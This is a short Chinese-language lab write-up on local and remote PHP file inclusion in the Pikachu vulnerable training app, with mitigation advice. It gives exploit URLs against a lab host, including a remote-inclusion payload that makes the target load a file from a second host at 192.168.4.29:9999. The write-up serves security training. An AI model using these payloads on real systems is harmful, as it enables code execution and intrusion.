当环境开启(远程)文件包含策略,allow_url_include=on;allow_url_fopen=on,代码在处理包含文件时未做严格处理,造成包含路径下的文件会被优先当作php代码解析,非正常代码会直接显示出来。
Include();
Include_once();
Require();
Require_once();
1、严格检查变量是否已经初始化。
2、对所有输入提交可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现./和../等目录跳转符。
3、严格检查文件包含函数中的参数是否外界可控。
4、白名单限制包含内容
$filename直接包含,明显存在文件包含漏洞
漏洞利用
1.本地创建
File_include_local.txt
2.文件包含
#http://192.168.4.32/pikaqiu/vul/fileinclude/fi_local.php?filename=file_include_local.txt&submit=提交查询
代码分析
够直接了,直接include,什么限制都没有
漏洞利用
前提,allow_url_include=on;allow_url_fopen=on同时配置
1.创建一个测试放在远端服务器
2.远程包含
#http://192.168.4.32/pikaqiu/vul/fileinclude/fi_remote.php?filename=http://192.168.4.29:9999/file_include_remote.txt&submit=提交查询